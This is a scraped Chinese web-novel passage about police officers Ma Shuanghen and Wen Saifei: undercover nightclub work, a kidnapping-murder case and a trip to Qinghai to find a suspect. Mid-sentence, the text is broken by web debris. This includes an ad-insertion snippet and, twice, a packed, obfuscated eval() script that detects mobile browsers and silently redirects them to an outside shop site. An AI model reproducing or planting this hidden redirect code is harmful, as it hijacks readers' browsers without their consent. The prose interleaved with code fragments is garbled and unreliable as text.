幸好鸡头怕她不会接话,立刻道:“蟹哥,这个只是公主,姿色在水色他乡都算不上档次的,一会公关妹子那才叫让人开眼界。” 水色他乡打了多年擦边球没有被一锅端,内部管理严格也是原因之一。商务KTV对外宣传纯绿色,公主不干公关的事,公关不能陪客人上厕所。出了这道门,谁计较公主还是公关还是公用床伴。 老板订的规矩,就算三大神兽也不能破坏规矩。 水色他乡的老板人称金爷,马霜痕后来问了一圈,这些底层服务生都只闻其名,没见过真人。三大神兽是金爷身边三个花名带动物的小弟,烂口蟹和蚂蚁伟不时会来场子玩。孖蛇跟金爷一样神秘,没现过形,但有传言只要孖蛇出现,人人都能认出他。 烂口蟹仅是过过嘴瘾,见马霜痕跟哑巴似的,兴致大减。来夜场玩就是吃快餐,他可没心思等一锅老火慢炖的汤。 庞秋怡也被鸡头喊来“水调歌头”凑数,可惜烂口蟹和蚂蚁伟都没看上,各点了另外的两个。 烂口蟹一脸□□,左拥右抱,摸着陪酒小姐的胸和腿,很快全身心投入现实春|梦。 蚂蚁伟节奏慢了一点,先妹妹长妹妹短的问候,打下微薄的情感基础,再上手。好|色之徒只会迟到,从不缺席。 几杯酒下肚,牢骚浮了起来。 烂口蟹酒杯往茶几上一掼,骂道:“金爷真是太偏心了,怎么就让孖蛇去澳门,不给我们去。” 蚂蚁伟也放下酒杯,眼神示意一圈,意思人多眼杂。 两大禽|兽身份特殊,这一发怒,全场陪酒小姐噤若寒蝉,马霜痕也在角落低头缄默。 蚂蚁伟说:“家里的事回家再说,出来玩就不要想家里。” “蚂蚁伟,你说我们哪里不如孖蛇?” 看来这个烂口蟹不止口臭,还口无遮拦。 蚂蚁伟端出老大哥的风范,安慰他:“孖蛇,孖蛇,双头蛇,人家一条双头蛇当然顶我们两个啦。” 烂口蟹仍是忿忿不平,“难道我们两个人加起来还干不过他一条双头蛇吗?” 蚂蚁伟举杯,“来来来,走一个,别想这些不开心的事。水色他乡,就是让你在家以外的地方,享受温柔如水的漂亮女人。” 陪酒小姐这才敢有所动作,有的倒酒,有的倒男人怀里。 烂口蟹和蚂蚁伟玩到凌晨一点转战楼上酒店,四个陪酒小姐都带去“吃宵夜”。 马霜痕一个人收拾完一屋狼藉刚好两点,今晚庞秋怡也跟客人出去“吃宵夜”,继续由外线组盯着,她可以正式下班。 包厢门口传来熟悉的男声,“今晚这么快?” 马霜痕回头,只见温赛飞抱臂倚着门边,人高腿长,几乎斜成门框的对角线。 她淡嘲:“他们坐不住,早出去‘吃宵夜’咯。” 温赛飞:“你要不要吃?” 马霜痕:“啊???” “啊什么啊,吃宵夜。” “……” 温赛飞没有常驻包厢,对吃宵夜一词的敏|感性远不如马霜痕,片刻才转过弯。 “我饿了,一起吃宵夜吗?” 马霜痕顺了一口气,“只要你给机会我请客。” 凌晨两点多,水色他乡附近的宵夜店人气正旺,店门口支了防风棚子,一盏盏吊灯下总聚拢一团团温暖的白雾。马霜痕和温赛飞走远一些,找了一家客人相对少的店,坐在角落,方便窃窃私语。 路上马霜痕简要汇报“水调歌头”的情况,温赛飞让内勤查了一通,还真有点名堂。 烂口蟹原名谢霖,蚂蚁伟原名麻义伟,两个都被处理过,前者是聚众斗殴,后者偷盗。没有找到孖蛇的犯罪记录,金爷的花名重名太多,无法筛选。庞东洋和他们的关联就是像孖蛇一样去过澳门,共同点太宽泛,不具备辨别性。 现在探到的线索跟眼前的海鲜砂锅粥一样,一团混沌,得吃到嘴里才能分清姜片还是鲍鱼片。 “先吃东西。”领导发话。 马霜痕先拿到汤勺,倒了葱花和香菜搅拌均匀,先端起他的碗盛了大半碗。 温赛飞看她的眼神有些微妙。 马霜痕俏皮一笑,用口型说:“领导先吃。” 之前他们即便单独吃饭,都是自助快餐,各吃各的,只算填饱肚子,算不上共进三餐。 温赛飞表情松弛,五官更为养眼,多看一眼都要误会成和他约会。 马霜痕紧忙低头吃自己的。 这里既不是水色他乡也不是刑警大队,他们暂时抽离黑白两种截然不同的身份,没有灯红酒绿和破案压力,只是一对普通的饮食男女,肚饿了一起吃饭,烦闷了互相倾吐,慢悠悠体会烟火人间。 温赛飞的关心便极为自然,“最近工作累吗?” 马霜痕想从他脸上找潜台词,可惜温赛飞垂眼在舀第二碗粥。 她压低声,“哪份?” 温赛飞早习惯在各种角色穿梭,见人说人话,见鬼说鬼话,才能套取有用线索。无论角色如何变化,对他而言都是工作常态。 马霜痕还在新手村体验,分裂成夜场公主和见习警员两种矛盾角色,相当于打了两份工。 温赛飞:“都可以说,只要不是听场面话。” 马霜痕多看他一眼,揣摩是否话中有话。 “嗯?” 他的眼神随着音节定住,四目相交的一瞬,马霜痕好像给电了一下,心跳怦然。 马霜痕端起茶杯,盯了下是否有茶碎——袋泡茶当然找不到。 “我现在就想退休。” 答案真诚而没有惊喜,却讨喜了温赛飞,久违的笑容绽放在他脸上,马霜痕越发不敢正视。 她忙着倒茶,不好意思嘀咕,“明明你让我说真话。” 温赛飞笑着摇头,不知拿她的耿直没办法,还是无奈她当初选择公大。 马霜痕不服气反问:“那你呢,最近工作累吗?” “比之前舒服太多了,”温赛飞不假思索,“虽然作息颠倒,但相对规律了,而且……” 他幽幽看了一眼埋头刨粥的脑瓜,没再说话。 “而且什么?”马霜痕抬起半张脸,送完一大勺粥,跟小仓鼠一样腮帮一鼓一鼓的,眼神炯炯注视他。 温赛飞的烦闷好像一点一点被她抹掉,只剩下大片的畅快。 “慢点吃,不赶时间。” 温赛飞拿起桌上的烟盒和火机,“我出去抽根烟。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “而且什么,哪有说话说一半的。” 马霜痕咽下海鲜粥,视线跟着他转到防风帐篷外头,以前也没见他这么有抽烟礼貌。 马霜痕吃好出来,似梦初觉埋怨,“明明说好了我请客,你为什么偷偷付钱?” 温赛飞健忘似的,“谁跟你说好?” 马霜痕只能冲着几步以外的背影努努嘴,“下次说好,一言为定。” 温赛飞:“千字书面检讨先交上来。” 马霜痕罩上风帽,拉紧帽绳,只露出鹅蛋形的小脸,兜起双头蹦跶两下。 “你说什么?” “检讨书。” “啊——?” 温赛飞突然止步转身,一颗圆溜溜的脑袋直接蹦进胸膛。 “哎哟。”马霜痕差点被弹开,踉跄一下,脊梁像有椅背稳稳箍住了。 “投怀送抱啊?”背光的脸上噙着笑,温赛飞转眼松开手。 “想得美。”马霜痕瞪他一眼,轻轻给他一肘击,闪开几步。 冬夜外套厚重,钝化了肌肤感受,他们跟两只熊一样,打闹多于暧|昧。 他们好像总是在冬天见面。 手机铃声打碎片刻的温情,温赛飞掏出手机,面色渐渐比冬夜凛然。 花雨剑和蒙大利倒查了案发以来跟庞秋怡接触的机车车主,他们口径一致,庞秋怡只是想了解车的性能,体验车感,没有其他目的,更不存在任何性|交易。而且车主和机车都没有离开海城的记录。 庞秋怡似乎真正只是为了下一张固定饭票做功课,难道他们的调查方向错了? 庞东洋如泥牛入海,不知所踪。 案发第十五天,除夕前夜。 陈忠钰出具了尸检报告,在工地装修垃圾堆发现的尸体的确属于朱子白,死因是机械性窒息,死亡时间推定为案发当日,胃部残留物显示最后进食的是案发前一晚的奶茶。 也就是说,朱承育报案当日,朱子白没来得及吃早餐就遇害了。 朱承育不认可该死亡报告,坚称警方在推卸责任,掩盖救援不及时的真相,朱子白枉死在警方的疏忽之下。中年丧子的父亲失心疯,来回絮叨,总之过错都推到警方头上,家长没有任何过失。 朱子白母亲早看穿前夫,相对理智一点,一把鼻涕一把泪咆哮道:“你怎么有脸都怪别人啊,儿子都是你害死的!要不是你乱找鸡婆,这个家就不烂成这样!儿子就不会死!” 据朱子白母亲交代,当年就是因为朱承育屡教不改找鸡婆离的婚,是个儿子,朱承育不愿意放手抚养权,官司拉扯了两年。朱子白小时候还听母亲教诲,越长大越跟当爹的一条心,这不刚成年就学会玩鸡婆,还把命都玩没了。 “你迟早有一天也把命折在鸡婆身上!”朱子白母亲恨恨地叱骂前夫,从此隔三差五来刑警大队打听案子进展的家属又多了一位。 温赛飞身为重案队中队长,名下挂着盐山区所有命案积案,不能冷漠地说多一桩少一桩没区别,但已经没有第一次亲历命案时的深刻与无措。 温赛飞倚着停尸房墙角抽了一根烟,往地上捻灭了烟头,如常朝里喊,“大头虾,走了。” “小飞哥……”回应的是一道小心翼翼的男声。 两个大男人面面相觑。 蒙大利讪讪挠头,“专案组暂时解散,小马已经正式回六中队了。” 11.第 11 章 小马出现在温赛飞家的茶几上。 柳英眉将她的手机推到温赛飞的眼底下,“小飞哥呀,你看看是不是这个女孩?” 屏幕上显然是一张放大的合照,只显示了局部,马霜痕双臂交叉,下巴微扬,睥睨镜头,下颌线清晰优美,穿着吊带裙的肩上搭着一只男人的手,笑意富有感染力,她是真的幸福过。 温赛飞手快点了一下屏幕,照片恢复原状,出现一个眼熟的年轻男人,小鹿眼楚楚可怜,没有心机感,用网络热词形容就是“清澈的愚蠢”。 他的表情耐人寻味,柳英眉一直琢磨着。 温赛飞不置可否,手机推回一点,“行啊柳主任,你不去情报科可惜了。” 柳英眉拿回手机,重新放大马霜痕的部分,左看右看,喜爱溢于言表,“这可是费了周折从这男的朋友圈拿的,容易么我。这姑娘的面相我喜欢,大气,漂亮,还透着一股机灵劲,一看就不会让自己吃亏。” “小飞哥,我看你妈应该去放射科,那眼睛啊,透过一张照片就能看到灵魂,比她们单位的机器还牛逼!” 贵妃榻上半躺刷短视频的老男人开口,双指隔空自抠双眼。 柳英眉白了温瑞民一眼,顺手打一下他支起的膝头,“我看这姑娘就喜欢,怎么地?” 温瑞民:“你单位的适龄单身女青年你都喜欢,有用吗?你喜欢不管用,得小飞哥喜欢。” 柳英眉觑了温赛飞一眼,笑吟吟道:“我可不知道他喜不喜欢。以前要给他介绍对象,一句话没听完就走了,这会起码听了三分钟。” 温赛飞撑着双膝起身,“说得我都不敢听你讲话了,听一次爱一个,我忙得过来么。” 柳英眉滔滔不绝,“我听人说,这姑娘和这男的高中同学,大学开始谈的,估计也有三四年了吧。成不成就看这一两年,工作可不比上学自由,面对不一样的环境,两个又是忙起来找不到人的工作,每天跟同事接触的时间还多一点。” 温瑞民插嘴,“我们两个不也这样过了三十几年?” 柳英眉不客气道:“两码事啊老温,统一战线,别唱反调。” 温赛飞像职业病发作,莫名挑刺,“没有三四年,最多两年不到三年。” 柳英眉又从眼镜上方瞅他,“你怎么那么清楚?” “她是嘉禾路命案受害者的女儿。”温赛飞无奈一叹。 柳英眉和温瑞民面面相觑,半晌,还是老温较为敏|感,“是你工作后跟的第一个命案吧。” 温赛飞随意点头,长腿迈出茶几和沙发的过道,只留给两老一个背影,和无限的想象空间。 柳英眉顿了顿,不死心道:“小飞哥,照片我发给你,只要你喜欢就行,我们都可以。” 温瑞民古怪地瞪了她一眼,又无可反驳,毕竟去年柳女士已经降低要求到二婚也可以,只要没有娃。 温赛飞和马霜痕好几个月没见到面,虽然在同一栋侦查大楼,重案组和其他中队不在同一楼层,刑警除了写报告开会在单位,其他时间都在出外勤。 天气渐热,马霜痕夏天的样子只存在于照片里。 马霜痕的小姨搬来了海城,购置了一套三居室,留了属于她的房间。马霜痕平时仍住在青松苑的老破小,休假没事就过去。 迟来的年夜饭,马淑瑜问:“小韩今年没邀请你去他家过年?” 马霜痕慵懒答:“年年都邀请。” “年年都没去,”马淑瑜了然,“你也可以邀请小韩来家里。” 马霜痕潦草道:“再说吧,又不是没见过。” 言佑嘉接茬,“我姐做事雷厉风行,说不定哪天偷偷把证领了。” 马霜痕横他一眼,“你当点外卖呢,领证那么简单么。” 言佑嘉:“要不然呢,你男朋友不就这么来的吗。就大二那会,妈你还记得吗,你抱怨我姐上学时愁早恋影响学习,上大学又愁她不找对象,结果没几天,突然领了个男的到眼前。” 他拍了一下大腿,“姐啊,不瞒你说,那会我都怀疑你上北影租的男演员。” 马霜痕险些喷饭,“横店跑龙套都勉强,还北影……” 言佑嘉嘿嘿笑,“都一个意思。” 马霜痕的男朋友像假的,连她也开始怀疑。 结束任务从水色他乡回来,她的手机收到了一笔5万元的转账,来自韩弋。 马霜痕问他什么意思。 韩弋发了一个对手指表情包。 [韩弋:我的歉意。] [马蹄爽:我有那么缺钱吗??] [韩弋:我知道你不缺这点钱,但这是我自己存的,我想都给你。] 高压工作了一段时间,精力转移,猎|艳一事的冲击性淡去,马霜痕开始思考他们的关系。 温赛飞有一点说对了,她舍不得分手。但也不憧憬婚姻,不进不退,近三年的感情冻僵原地。 [马蹄爽:这事只有翻篇,没有原谅。这笔钱当做罚款,再有下次直接拜拜。] [韩弋:不会有下次了,我保证。] 断裂的信任难以修复,亲昵时越发明显,马霜痕找到了缓解方法。 代入其他人的脸。 离谱但有效。 马霜痕和韩弋处成了逛街吃饭看电影的搭子,一举达成老夫老妻的状态,既无激|情,也无争吵。 转眼到了七月,马霜痕从见习警员转正为三级警司,佩上一杠一星的肩章。 马霜痕打算请客吃饭,要借花雨剑的名头去请一些贵客。 花雨剑拍胸膛打包票,“我保证帮你把忠钰姐请来。” 马霜痕喜道:“还有小飞哥。” 花雨剑故作怪声怪气,“小飞哥你自己搞定,你俩都勾肩搭背过了,还不熟?” 说曹操曹操到,温赛飞从背后喊了声捞剑,吓得他一激灵。 “正好说到你呢,”花雨剑将马霜痕推到身前,“小飞哥,小马有话跟你说。” 这架势,怂恿她表白似的。 数月不见,彼此变化不大,唯一的不同也许是时间疏离了关系,有些许陌生感游离在他们之间。 “晚点,我有事找捞剑。” 温赛飞没给她发言机会,越过她将手机递给花雨剑,“你看看这个视频。” 两个男人的脑袋几乎凑一起,搭成一个人字。没人让马霜痕回避,她便悄悄溜到他们对面,倒着看手机。 视频是一段AI女声配音:家人们,事情是这样子的,我和朋友在青海自驾旅游,我们都没见过沙漠,想着在路边停车拍照。万万没想到停的时候好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667641|143157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,走的时候出不来了!我们的车轮一直打滑,一直在刨沙子,越陷越低,我们把后备箱行李全部搬出来推车,还是不行。就在这时候,我们拦了一辆本地牌照的越野车,司机大哥热心地帮我们拉出来了!大哥很低调,不准我们拍照,但是这种好事必须高调,让全国人民都知道。这是大哥的帅照,评论区请告诉我视频传到哪里了—— 视频最终镜头给给了一个压低帽檐的男人,大半张脸皮肤虽黑,没有常年经受高原紫外线的本地人那般夸张,要不注意防晒,要不初到高原时间不久。后面车牌清晰可见。 “这人,看出来像谁了吗?” 温赛飞隐含激动,马霜痕几乎没见过他这副状态。 “就那谁!”花雨剑也亢奋地打了一个响指。 温赛飞:“90%是他。” 花雨剑不忘考验徒弟,“小马,看出来像谁了吗?” 马霜痕斟酌片刻,琢磨他俩表情,谨慎道:“庞东洋?1·25朱子白绑架杀人案的嫌犯之二?” “Bingo!”花雨剑送她一个响指,“小飞哥,看吧,青出于蓝而胜于蓝,小马借你用了,不用客气。” “师父!”马霜痕埋怨瞪了他一眼。 “正经点,”温赛飞略有不悦,“网警已经联系删视频,以免打草惊蛇。已经联系当地公安协查,车牌的主人是一个牧场主,如果排除套牌的可能,庞东洋藏在牧场里,十天半月见不到一个生人,还真是个相对聪明的选择。从云南偷渡去金三角,没熟人接应容易尸骨无存;走港澳资金要求太高,偷渡可能性更小。” 花雨剑:“这蠢蛋以为在穷不拉几的地方就能躲一辈子吗?都当别人不上网不看新闻啊?” 温赛飞:“躲是要躲,但不可能躲一辈子,也许避一阵风头就换个地方。” 花雨剑躲不开就没再插科打诨,“只有半张脸,给李绍星看过了吗,什么反应?” 温赛飞点头,“他承认像庞东洋的声音,无论他猜对还是说错,捞剑,我们都要走一趟青海亲自确认。” 花雨剑只要不摆烂,效率就奇高,每一句话都是温赛飞想要的反应。 “去几个人,什么时候出发?” “四个,”温赛飞收起手机,“明天早上七点半飞机,登机口集合,晚点我让大利拉个小群。” 花雨剑叹气,“我回家安排一下我的猫儿子。” 马霜痕兀自发愣,师父出差,手头上的活她该找谁支援啊。 不意对上温赛飞的目光。 “愣什么愣,回家收拾东西,该带的带上,别又当大头虾。” 温赛飞扔下一句。 马霜痕目送温赛飞离开,忍不住求助花雨剑,“师父,四个人,三个男的,就我一个女的吗?” “我看起来也不像女的啊,”花雨剑抓抓油头,焦头烂额翻动微信联系人列表,头也不抬咕哝,“找谁帮喂猫铲屎好呢……” 马霜痕字斟句酌:“师父,一般出差住宿怎么安排呀?” 花雨剑没察觉她的担忧,“标间。” 马霜痕:“我自己住一间,高于差旅报销标准的部分,自己负责,可以的吧?” 花雨剑跟夜猫子似的警醒,抬头一脸贼笑地盯着她。 “不然你想跟谁住一间?” 12.第 12 章 航班七点半从海城起飞,历时三个半小时落地西宁。温赛飞和蒙大利带着花雨剑和马霜痕两个重案队御|用后勤,专案组重新集结,一行四人背着清一色的双肩包,没带行李箱,方便后续押送嫌犯。 与海城的湿热不同,七月的西宁干凉如秋。 三个男人还是一件顽强的短袖,马霜痕边套长袖边跟着花雨剑小跑。 她咕哝:“师父,我们都快成重案队编外人员了,一样要办案出差,当初你何必离开重案队呢。” 入队大半年,马霜痕建立了自己的小型情报网络,得知花雨剑当年执意申请调离重案队,任尚涛和温赛飞万般挽留,还是去意已决。有人说一山不容二虎,花雨剑在温赛飞当上重案队中队长前隐退,实属明智,毕竟昔日搭档突然成了自己领导,换成谁都挺不是滋味。 哪想温赛飞不打算放过他,几乎把他用成重案队编外专家。 走出机场出口,属于海拔两千多米的高原阳光打在身上,他们不约而同眯起眼。 花雨剑深深吸气,下颌一扬,耍酷地戴上墨镜,“自由的味道。” 离开重案队,没了破案压力,还能保有破案乐趣,花雨剑成了全大队最快活的刑警。 前提是割肉放弃一部分荣誉。 西宁方安排了一辆七座捷途到机场,由他们自行开往毗邻甘肃的海西州,与当地公安对接。他们预计赶在下午9点日落前抵达海西州,修整一晚,次日如无不适立刻前往庞东洋可能藏身的牧场。 从西宁到海西,全程740多公里,海拔爬升一千多米,考虑高原关系,他们分成四段接力开车。 马霜痕的第一程最舒适,中规中矩的高速,海拔平稳爬升,最高两千六七,平原人暂可接受。 窗外飞过逐渐荒凉的西北壮景,一车人有说有笑,跟自驾旅游差不多。 到了温赛飞的第二程,本都是山路,转弯急而多,海拔爬升快,最高的垭口直飙三千八。气温骤降,凉秋升级成初冬,他们都穿上了冲锋衣。 温赛飞抽空问:“你们感觉有哪里不舒服吗?” 旁边的花雨剑精神抖擞,一路各种拍照,“我没什么反应,小马你呢?” 马霜痕眼皮沉重,坐副驾不断拜佛,迷迷糊糊,“中午没睡觉,感觉有点困。” 蒙大利抱着双臂,在她后面张嘴歪头睡着了。 温赛飞抽过杯架的一瓶压缩氧,扔马霜痕腿上,“你不是困,是高反了,吸点氧。——捞剑,摇醒大利,让他也吸一点。” 马霜痕没高原旅行经验,研究一会使用说明,拆了包装深吸几口,忽然接收到信号似的,双眼亮了。 “好像是没那么困了。” 温赛飞:“别吸那么多,适量就行,让身体慢慢适应。” 马霜痕:“你要不要来一口?” 听起来跟分享美食似的,万年冰山脸不由露出一丝笑意。 马霜痕不断劝吸,“你开车呢,来一口吧。” 温赛飞抽空吸了两口,马霜痕忽地大惊小怪,“这个能交叉使用吗,应该要换一个呼吸罩吧?——师父,给我一瓶新的,我开给小飞哥。” “吸都吸了,又不是舔着。” 花雨剑照看晕乎乎的蒙小利,没空鸟她,更无视她幽怨的眼神。 温赛飞继续平稳开车,既无高原反应,也无尴尬反应。 蒙大利高反,司机报废了一个,温赛飞多开了大半程,最后才换上大将花雨剑。 下午八点半,离日落时间还有半个小时,捷途载着他们抵达海拔近三千二的海西州旅游重镇,停在了卫生院门口,镇派出所所长亲自带队来迎接。 四个人或多或少出现高反,温赛飞和花雨剑没大反应,马霜痕有点恶心,蒙大利最严重,妈生小白脸惨白惨白的,直接吸氧留观,走不成了。 温赛飞当机立断,“捞剑,我们两个目前情况还行,一人负责一个,大利跟你,大头虾跟我。” “明白。”花雨剑了然领命,毕竟马霜痕没法照顾病号,他不能代替重案队中队长跟当地公安对接。 “有事电话。”温赛飞又交代了一下细节,领着马霜痕跟所长走出卫生院。 所长跟尚涛差不多年纪,典型的西北汉子,跟温赛飞一样高,但体格壮了一圈。 所长说:“高原反应因人而异,有些人平常身体很好,来到高原却适应不了,有些经常这个病那个病的,人家来了反而没什么大反应。只要及时吸氧,一般没有大问题。” 温赛飞说:“主要109国道往茶卡前有一段山路,海拔上升太快,三千一下子升到三千八,身体有点受不住。” 所长颔首,“对,就象鼻山那段路,别说你们,就连我们本地人开过也难受。” 所长觑了马霜痕一眼,“我之前以为这位女同志是其他病人家属,没想到巾帼不让须眉,也是我们公安队伍里的女同志,要知道我们这边出外勤几乎都是男同志。” “干我们这一行,业务能力还是其次,最主要是身体好。你看她现在还能大气不喘,也不比哪个男同志差。” 平日里温赛飞的嫌弃溢于言表,在外人面前倒是不吝啬夸她,马霜痕听着暗喜,又不敢太激动,高原上心跳容易加速。 “身体好这点我非常同意,没个好身体,天天日夜颠倒、三餐不规律,脑子再好也不好使啊。” 所长的笑容缓缓刹车,斟酌说:“每年五月到九月是我们西北的旅游旺季,这个小地方比不上你们大省会,接待游客能力有限,住宿有些紧张。听说四个人来,以为是四个兄弟,只安排了两间标间,没想到有一位女同志……” 温赛飞忙说:“有劳所长,我们自己安排就行。案子拖了半年,这趟没把人抓住都睡不好觉。” 所长点头,叮嘱道:“高原不比平原,山区信号差、路程远,救援不及时,最好结伴出行,互相有个照应,切忌单独行动。今晚不要洗头洗澡,早点休息,明天如果你们身体情况可以,这两个兄弟会带你们去牧场。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678600|143157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>跟随所长来的也是两位男警,裸露的肌肤透着高原黑,看起来比真实年龄老一些。 解决晚饭,温赛飞和马霜痕拿到两张标间房卡,拎着花雨剑和蒙大利的行李,跟两位地方兄弟暂别。 本地房屋楼层普遍不高,他们的房间在二楼,两间房紧挨着。卡在温赛飞手上,他刷开第一间,“把他们的行李放进去。” 马霜痕放好出来,用尽眼神示意,无效,只能开口,“小飞哥。” 嘀—— 温赛飞已经刷开了隔壁的房门,不作等待径直走到房间尽头,背包搁窗边圆桌,抽出笔电准备办公。 马霜痕只好跟进到过道,像个进办公室报告班主任的学生,双手扣着背包肩带。 “要不我还是单独开一间,费用自己掏。” 温赛飞弯腰插了电,两条长腿随意支在桌底下,开机。 “你刚没听所长说结伴出行,切忌单独行动。去年有个摩旅的,一个人骑到三千八的东山隧道口,手机没信号,过路车不多,就这么没了。” 马霜痕:“我现在感觉还好,不瞎蹦跶应该没事。” “然后呢,大利在卫生院,已经三缺一了,再倒一个我大老远来这是救人还是抓人?” 温赛飞目不斜视盯着屏幕,继续写了一半的报告。他的笔电是内网机,不能接外网,打印机在马霜痕背包里。 马霜痕进退两难,几乎把房间每一个角落扫视一遍。刚才手机上看过,旅游旺季一房难求,有房的酒店离派出所和这里有好一段距离。 温赛飞放停笔电,右手搭着边缘,半转过来直视她。 “现在海拔三千二,我话不敢大声说,烟不敢抽,你觉得我会不要命对你动手动脚?” 马霜痕不能说没动摇,但死活坚持一下,或说矜持一点。 “我怕传出去毁你清誉。” 温赛飞的清誉早在尚涛给他造谣当天就不复存在。 他转回去忙活。 马霜痕悄悄坐靠门的床沿,“我也怕你女朋友计较找我麻烦啊,我可不想变成PDF还是PPT女主角。” “你还挺会自找麻烦。” 温赛飞冷笑,转瞬察觉不对劲,扭头四目相交,马霜痕大近视眼一般瞪着,无辜发愣,不可能听出玄机。 他补充:“特殊情况,特殊对待。捞剑和大利不是多嘴的人,谁会在意这点小事。除非你又喝高了到处说。” 马霜痕嘴硬:“我喝高直接呼呼大睡,谁跟你酒后吐真言。” 温赛飞:“是吗。” 她慢腾腾卸下背包,“那就一言为定,你不说,我不说,谁也不许多嘴。等会对象查岗,双方必须无条件配合,该回避回避,该圆谎圆谎,一个字都不能出错。” 说曹操曹操到,韩弋的视频请求弹出屏幕。 “哦,说来就来。”马霜痕立刻对他做了个嘘声的手势。 温赛飞不由蹙眉,才没一分钟就违反马霜痕单方面的君子协定,“还没分?” 13.第 13 章 马霜痕躲进浴室,接起韩弋的视频请求,紧张片刻,心跳加剧,在空气不流通的浴室更为明显。她有点窒息。 “怎么了?” 她问得韩弋一愣。 韩弋:“没怎么,就是想你了。这是在哪里?” 马霜痕挤出一个笑,“酒店。” 韩弋:“浴室啊,怎么跑那里接电话?” 马霜痕随机应变,“刚准备刷牙睡觉。” 韩弋:“高反严重吗?” 马霜痕拇指揉揉太阳穴,“我们倒了一个同事,我还好,只是有点恶心。” 韩弋:“你今晚不要洗澡洗头,早点睡觉。” 马霜痕:“嗯,准备了。” 他们的通话问候多于抒情,比普通朋友多了一点琐碎,比热恋情侣少了一点激情。 韩弋:“你一个人住吗?” 马霜痕像来到刺激的闯关环节,心跳开始不听话。 “嗯。” 韩弋:“浴室看着装修不错,住的环境怎么样?” 马霜痕:“还可以。” 韩弋:“我听说高原酒店一般都有供氧,你住的有吗?” 马霜痕回忆房间布置,“有吧。” “长什么样,我还没见过,跟我们医院的一样吗?” 韩弋指的是病房嵌入床头墙壁的供氧系统。 马霜痕笑道:“当然没有那么先进。” “看一下。” “……” 马霜痕没有拒绝的理由,前置摄像头调成后置,地板在屏幕上摇摇晃晃。 韩弋忽然哈哈笑,“珊珊,你这镜头偷感好重。” 坐窗边的温赛飞停下动作,扭头冷眼看“马戏”。 马霜痕在两张床的过道抬起镜头,拍到了共用床头柜上的小型制氧机,以及机顶搁置的两包未拆封的鼻吸氧气管,“就这个东西,一会躺着吸。” 韩弋的关注点再度跳跃,“怎么有两张床?” 马霜痕的镜头扭扭捏捏,左移一点,拍到床边的窗帘,没上全景,看不到床尾的圆桌。 “空床。” 韩弋:“房间好像不小。” 马霜痕:“正常标间大小。” 马霜痕后退,镜头往过道挪,想给他一个放心的全景。 “看吧,大同小异,就是楼层不高,免得增加不必要的海拔。” 她不经意退到圆桌的角落,差点给椅子腿绊了一跤,背后一道无声的力量稳稳托住她的腰。 她站稳了,下意识蹦出口,“对不起……” 镜头晃动,晃走了韩弋脸上转瞬即逝的僵硬,也晃醒了马霜痕。 她旋即展颜,“对不对?所以这边的公安兄弟给我们安排了最低的楼层,二楼。” 又察觉镜头根本拍不到她的表情,马霜痕坐回床沿,调回前置摄像头,笑容甜美,脑袋宕机。 “说了那么多话,我好像有点胸闷,先吸会氧哦。” 顺利挂断通话,马霜痕扔了手机,迫不及待拆了一包氧气管,插上调好档位,半躺床头吸氧。 她安安静静盯着天花板,盘活了脑袋,开始复盘哪里出现破绽。 “你们习惯互相撒谎?” 角落冷不防传来温赛飞的声音,许是缺氧,幻听似的,无法分辨嘲讽还是叙述。 他保持上半身转过来的姿势,不知道旁观了多久。 马霜痕噘嘴,“哪有,多一事不如少一事。” 温赛飞回到笔电的报告上,马霜痕才放肆盯着他。 西北小镇的夜生活远没南方丰富,楼下饭店声悄悄平息,房间里除了敲键盘的声音,只有制氧机低鸣,跟加湿器类似的声音,有点催眠。 “小飞哥。” 温赛飞只应声没回头,或许应声也属于马霜痕的幻听,她太想知道答案。 “你的女朋友不查岗吗?你也不会主动汇报?” “找女朋友还是找领导?” 温赛飞依旧忙自己的,分神回复已是给足面子。 马霜痕咕哝,“你也不真诚,还好意思说我。” 温赛飞手指虚搭在键盘上,盯着荧荧的屏幕,敲了三下退格键,删掉“女朋友”,重新打上“嫌疑人”。 “嫌疑人”还在扰人心神,“小飞哥,我睡外面的床咯?” 温赛飞:“随便。” 马霜痕吸了一会氧,起来从背包掏出打印机放电视机桌上。 “没什么事我洗洗睡了。” “今晚不能洗澡,当心高反。” 重要的话温赛飞总会转过身来说。 “知道,”马霜痕掏出洗漱包,“顺口。” “嫌疑人”开始进进出出浴室,一会忘了带睡衣进去换,一会洗脸敷面膜。 “你走来走去不恶心吗?” 温赛飞倒是恶心上了,有点心慌,摸口袋没摸到烟盒,从桌上背包侧袋抽出半瓶压缩氧吸了几口。 “听着跟骂人似的,”马霜痕揉揉胸口,感觉尚可,“不好意思,影响你了。” 打印机嗞嗞工作中,缓缓吐出打印纸。 马霜痕拉开橡皮筋,托西北气候的福,及肩头发不但不油,还有炸飞的趋势,她坐床头准备抹点护发精油。 掌心搓开了精油,歪头抹发梢,恰好对上温赛飞打量的眼神,不知盯了多久,她的心弦好像给拨动一下,心跳有点快,不是紧张,也不是高反。 温赛飞收了收神,“不是假发了?” 马霜痕噗嗤一笑,跟做洗发水广告一样,甩头抖了抖清爽的发丝,“如假包换。” “哎哟,”广告女神倏地捡起氧气管,打开机器重新吸上,“我不能摇头,容易头晕。” 